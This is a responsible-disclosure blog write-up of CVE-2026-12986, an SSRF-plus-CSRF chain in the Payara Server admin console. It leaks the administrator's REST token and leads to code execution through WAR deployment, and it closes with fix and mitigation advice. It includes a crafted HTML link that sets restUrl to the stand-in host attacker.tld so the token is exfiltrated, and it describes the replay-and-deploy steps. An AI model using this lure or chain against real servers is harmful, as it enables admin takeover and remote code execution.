Handing Your Token to a Stranger: SSRF + CSRF to Admin RCE in Payara Server (CVE-2026-12986)
June 24, 2026 (3w ago)
by Sujal Tuladhar

Handing Your Token to a Stranger: SSRF + CSRF to Admin RCE in Payara Server (CVE-2026-12986)

A download servlet in Payara's admin console attaches the administrator's REST session token to an outbound request whose destination the caller controls, and it answers a plain GET with no CSRF token. Chained, an unauthenticated attacker lures a logged-in admin into leaking that token, replays it, and deploys a WAR for code execution as the server user. Fixed in Payara 7.2026.6.

Payara Server inherits its admin console from GlassFish, and with it a small servlet (a Java program that answers web requests) that has been quietly handing out the keys to the kingdom. On its own the servlet does something reasonable: it fetches a file from the server's own REST API and streams it back to your browser. The problem is how it fetches, and who is allowed to make it fetch. It attaches the administrator's REST session token to an outbound request whose destination the caller gets to shape, and it will do this in response to a plain GET with no proof the administrator meant to ask. Point that request at a host you control and the server mails you the admin's token. Line that up behind a link and any logged-in administrator who clicks it does the mailing for you.

Two weaknesses, each ordinary. One is a server-side request whose destination comes from the caller (CWE-918). The other is an action that changes the server's state, triggerable by any website, with nothing to prove the admin intended it (CWE-352). Chained, they turn "an admin visits a web page" into remote code execution as the server user. Reported as CVE-2026-12986 and fixed in Payara 7.2026.6.

The shape of the target

Payara's Admin GUI is the web console on port 4848, the server's dedicated control panel, separate from the ports like 8080 that serve your actual applications. When you log in, the console does not talk to the management layer with your password. It holds a REST session token, a value the code calls gfresttoken, and it presents that token as a cookie on every call it makes to the internal REST API at /management/domain/.... Two facts about this token are the whole story.

  • The token is the whole of admin authority. Anything the console can do, it does by attaching gfresttoken to a REST call. Deploy an application, change a JVM option, read a secret: all of it is one authenticated request carrying that cookie. Whoever holds the token is the administrator, no password required.
  • A helper attaches it for you, silently. The console never spells out the credential at each call site. A shared utility, RestUtil, reads the token out of the session and clips it onto the outbound request. Every call site that goes through the helper gets the token for free, and never has to think about it.

That second convenience is the trap. A helper that attaches the most powerful credential in the system to every request it sends is only safe if every destination it sends to is trusted. One servlet breaks that assumption.

Bug one: the servlet that forwards your token

The console ships a DownloadServlet. Its job is to stream a file to the browser by pulling it from the server's own REST API. It picks which thing to fetch from a request parameter, contentSourceId, and dispatches to a matching ContentSource:

// DownloadServlet.java
public void doGet(HttpServletRequest request, HttpServletResponse response) ... {
    doPost(request, response);           // GET and POST are the same path
}
 
protected ContentSource getContentSource(ServletRequest request) {
    String id = request.getParameter(CONTENT_SOURCE_ID);   // caller picks the source
    ContentSource src = getContentSource(id);
    ...
    return src;
}

Each ContentSource builds the URL it is about to fetch, and each of them takes the base of that URL, scheme and host and all, straight from a request parameter named restUrl. Here is the log-viewer source, the one this walkthrough uses because it is proven end to end:

// LogViewerContentSource.java
String restUrl = request.getParameter("restUrl");     // caller-controlled base URL
String start = request.getParameter("start");
String instanceName = request.getParameter("instanceName");
...
String endpoint = restUrl + "/view-log/";             // the whole base comes from the request
Response cr = RestUtil.getRequestFromServlet(request, endpoint, attrsMap);

The destination is a string whose base, the scheme and the host, is copied straight out of a request parameter. Set restUrl to a host you control and the assembled URL resolves there. Nothing validates it: no allowlist, no check that the result still points at the local management port. That is a textbook server-side request forgery: the server makes a request, and the caller decides where it goes.

By itself an SSRF that fetches an attacker URL is often a shrug. What makes this one serious is what rides along. The helper that sends the request does this:

// RestUtil.getRequestFromServlet -> the outbound call
String token = (String) request.getSession()
        .getAttribute(AdminConsoleAuthModule.REST_TOKEN);
WebTarget target = JERSEY_CLIENT.target(endpoint);         // endpoint = attacker-shaped
Response cr = target
        .request()
        .cookie(new Cookie(REST_TOKEN_COOKIE, token))      // gfresttoken, attached unconditionally
        .get(Response.class);

The cookie is attached to the request object, not scoped to a host. Jersey, the HTTP client library doing the sending, delivers it to whatever host the URL resolves to. So when the attacker steers endpoint at their own server, the outbound request arrives carrying Cookie: gfresttoken=<the administrator's live session token>. The server has taken its single most sensitive secret and mailed it to a stranger. On its own this is CWE-918, and it is already a credential-disclosure primitive. It just needs someone with a live admin session to trigger it.

Bug two: nothing proves the admin meant to ask

An SSRF inside the admin console still sounds like it needs the admin's cooperation, and it does. The second bug is what supplies that cooperation without the admin ever agreeing to it.

DownloadServlet answers GET. Its doGet delegates straight to doPost, so the entire download, parameter parsing, ContentSource dispatch, outbound token-bearing request, happens for a plain browser navigation. And the admin console carries no CSRF token, the unguessable value a site attaches to its own forms and links so the server can tell its own requests apart from ones forged by another website. Nothing in the request proves it originated from the console's own pages rather than from an arbitrary third-party site. Any origin can cause the browser to issue that GET with the admin's console cookies attached.

That is CWE-352, and it converts bug one from "an attacker who already has an admin session" into "an attacker with a link." One detail matters here. The console session cookie is a default SameSite=Lax cookie, so it is not sent on cross-site subresource loads like an <img>, but it is sent on a top-level navigation. So the attacker publishes a link, or a page that redirects to one:

<!-- served from attacker.tld. The admin's click (or a scripted redirect) is a
     top-level navigation, so the browser attaches the Lax session cookie. -->
<a href="https://payara-admin.internal:4848/download?contentSourceId=LogViewer&restUrl=https://attacker.tld&start=0&instanceName=server">
  Q3 incident report
</a>

When the administrator follows that link while logged in, the browser sends the request to the console with the session cookie attached. The console recognizes the session, resolves the token, builds the attacker-shaped URL from restUrl, and fires the outbound request with gfresttoken attached, straight to attacker.tld. The attacker's server answers with a redirect back to something innocuous, and the admin lands on an ordinary page having noticed nothing.

The chain, end to end

Each weakness supplies exactly what the next one assumes:

  1. A page to the admin's browser. The attacker hosts a page (or plants the URL in an ad, an email, a wiki the admin reads) that references the console's DownloadServlet. No credentials, no access to the console. This is the CSRF half (CVE-2026-12986, CWE-352).
  2. The browser to the token-leaking request. The admin, logged into the console, loads the page. Their browser issues the GET with the console session cookie. The console builds the attacker-shaped download URL from the caller-supplied restUrl base. This is the SSRF half (CWE-918).
  3. The request to the token. The console attaches gfresttoken to the outbound request and sends it to attacker.tld. The attacker's server logs the cookie. The attacker now holds a live admin REST token.
  4. The token to code execution. The attacker replays gfresttoken against the REST API on 4848 and holds exactly what the console held: full administrative access, proven by replay returning the complete admin listing. From there, deploying a WAR, the standard Java web-application package a server unpacks and runs, is a native admin operation, so Payara runs the attacker's servlet as the Payara process user on the host.

A caller-shaped outbound request and a missing anti-forgery token are each survivable in isolation. Together they are a straight line from no access at all to code execution as the server user, because the console volunteers the exact credential the deploy step needs to whoever can get an admin to open a web page. The token disclosure is the "how do you get admin" that a WAR-deploy RCE always presupposes, and here you get it for the price of a clicked link.

One honest note on reach. The token-bearing request leaves from the server, so the exfiltration target has to be somewhere the admin's server can actually connect out to. In the common case where the console box has egress, an attacker-controlled internet host is a fine collector. Where it does not, a reachable internal host the attacker already has a foothold on works just as well. Payara scored CVE-2026-12986 a CVSS 4.0 base of 7.3, High: what bounds it is the interaction it needs, an administrator has to open the page while logged in, and that reach constraint on where the leaked token can be collected.

One root cause, two symptoms

Bug one is a trusted helper applied to an untrusted destination: RestUtil attaches the admin token to every request it sends, which is safe only for as long as every call site sends to a trusted host, and DownloadServlet is the call site that let the caller choose the host. Bug two is a state-and-credential-bearing action reachable by a bare GET from any origin with no token to prove intent. Different weakness classes, CWE-918 and CWE-352, but the same underlying shape: a boundary that everyone assumed was there was never actually enforced.

The token was meant to travel exactly one hop, from the console to localhost:4848. Nothing in the code pinned it to that hop. The download was meant to be initiated exactly one way, from the console's own UI. Nothing in the code proved that origin. In both cases the safe behavior was the assumed behavior, never the enforced one, and the gap between assumed and enforced is the whole vulnerability.

The general lesson is worth stating plainly, because it recurs far beyond Payara. The moment a server attaches a credential to an outbound request, two questions decide whether it is a feature or a disaster: does the caller influence where this request goes?, and can the caller trigger it from somewhere I did not intend? If the answer to either is yes, the credential is not protecting anything, it is being handed out. Pin the credential to its intended destination, validate any caller-supplied piece of an outbound URL against an allowlist, and require an anti-forgery token on anything that acts with the session's authority. Any one of those three, present here, would have broken the chain.

One bug, two products, two CVE numbers

One wrinkle is worth telling, because it explains why this is a Payara CVE at all. The vulnerable code was never uniquely Payara's. Payara is a fork of GlassFish, and the admin console, DownloadServlet, the ContentSource classes, and RestUtil are all shared ancestry. The same restUrl sink sat in both trees, and the issue was reported once, through the Eclipse process, against GlassFish. From there it split in two.

On the GlassFish side, it was treated as the same issue already tracked by CVE-2024-9408, an earlier SSRF advisory for this same admin-console code. The fix landed in GlassFish 8.0.4 (PR #26081, which strips restUrl from all four content sources) and was folded under that existing advisory rather than given a new number.

On the Payara side, the same finding was taken as its own vulnerability, assigned CVE-2026-12986, and fixed in Payara 7.2026.6 (PR #8229). Same root cause, same one-line fix, a distinct CVE on a distinct product. Even the two patches disagree on a detail: GlassFish fixed four content sources, Payara only three, because Payara had already deleted the load-balancer source that GlassFish still ships.

If you match advisories to code, hold onto this: the GlassFish SSRF CVE and this Payara CVE point at the same restUrl sink in shared code, so patching one product tells you nothing about the other. Track the fix by version, GlassFish 8.0.4 and Payara 7.2026.6, not by CVE number.

If you run Payara

Upgrade to 7.2026.6. The fix removes the caller-controlled restUrl parameter from the download sources: the console now derives the REST base from the session, server-side, so a forged request can no longer steer the outbound call anywhere but the local DAS, and the gfresttoken has nowhere to leak. That is the load-bearing half of the chain gone. The affected range is wide, spanning the 4.x, 5.x, 6.x, and 7.x families per Payara's security advisory and the 7.2026.6 release notes, so "we are on an older LTS" is not cover. Until you can patch, keep the admin console off any network an attacker can reach, do not browse other sites in a session where you are logged into the console, and rotate credentials after upgrading. The console is an administrative surface. Treat a link to it the way you would treat a link to your password manager.

Credit: Sujal Tuladhar (evilgensec / evilgenius01). Disclosed responsibly to Payara, fixed in 7.2026.6 and assigned CVE-2026-12986.